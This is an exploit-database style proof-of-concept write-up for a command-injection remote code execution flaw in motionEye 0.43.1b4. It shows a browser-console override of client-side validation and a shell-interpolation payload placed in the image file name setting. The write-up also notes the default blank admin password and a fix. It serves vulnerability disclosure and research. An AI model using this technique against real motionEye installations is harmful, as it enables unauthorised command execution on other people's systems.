📄 motionEye 0.43.1b4 Remote Code Execution

# Exploit Title: motionEye 0.43.1b4 - RCE 
    # Exploit PoC: motionEye RCE via client-side validation bypass (safe PoC)
    # Filename: motioneye_rce_poc_edb.txt
    # Author: prabhatverma47
    # Date tested: 2025-05-14 (original test); prepared for submission: 2025-10-11
    # Affected Versions: motionEye <= 0.43.1b4
    # Tested on: Debian host running Docker; motionEye image ghcr.io/motioneye-project/motioneye:edge
    # CVE(s) / References: MITRE/OSV advisories referenced: CVE-2025-60787 
    #
    # Short description:
    # Client-side validation in motionEye's web UI can be bypassed via overriding the JS validation
    # function. Arbitrary values (including shell interpolation syntax) can be saved into the
    # motion config. When motion is restarted, the motion process interprets the config and
    # can execute shell syntax embedded inside configuration values such as "image_file_name".
    #
    # Safe PoC: creates a harmless file /tmp/test inside container (non-destructive).
    #
    # Environment setup:
    # 1) Start the motionEye docker image:
    #    docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
    #
    # 2) Verify version in logs:
    #    docker logs motioneye | grep "motionEye server"
    #    Expect: 0.43.1b4 (or <= 0.43.1b4 for vulnerable)
    #
    # 3) Access web UI:
    #    Open http://127.0.0.1:9999
    #    Login: admin (blank password in default/edge image)
    #
    # Reproduction (manual + safe PoC):
    # A) Bypass client-side validation in browser console:
    #    1) Open browser devtools on the dashboard (F12 / Ctrl+Shift+I).
    #    2) In the Console tab paste and run:
    #
    #       configUiValid = function() { return true; };
    #
    #    This forces the UI validation function to always return true and allows any value
    #    to be accepted by the UI forms.
    #
    # B) Safe payload (paste this into Settings → Still Images → Image File Name and Apply):
    #    $(touch /tmp/test).%Y-%m-%d-%H-%M-%S
    #
    #    After applying, the PoC triggers creation of /tmp/test inside the motionEye container
    #    (the "touch" is executed when motion re-reads the config / motionctl restarts).
    #
    # C) Verify from host:
    #    docker exec -it motioneye ls -la /tmp | grep test
    #
    # Expected result:
    #    /tmp/test exists (created with the permissions of the motion process).
    #
    # Notes / root cause:
    # - UI stores un-sanitized values into camera-*.conf (e.g., picture_filename),
    #   which are later parsed by motion and interpreted as filenames – shell meta is executed.
    # - Fix: sanitize/whitelist filename characters (example sanitization provided in README).
    #
    # References:
    # - Original PoC & writeup: https://github.com/prabhatverma47/motionEye-RCE-through-config-parameter
    # - motionEye upstream: https://github.com/motioneye-project/motioneye
    # - OSV/GHSA advisories referencing this issue (published May–Oct 2025)
    # - NVD entries: CVE-2025-60787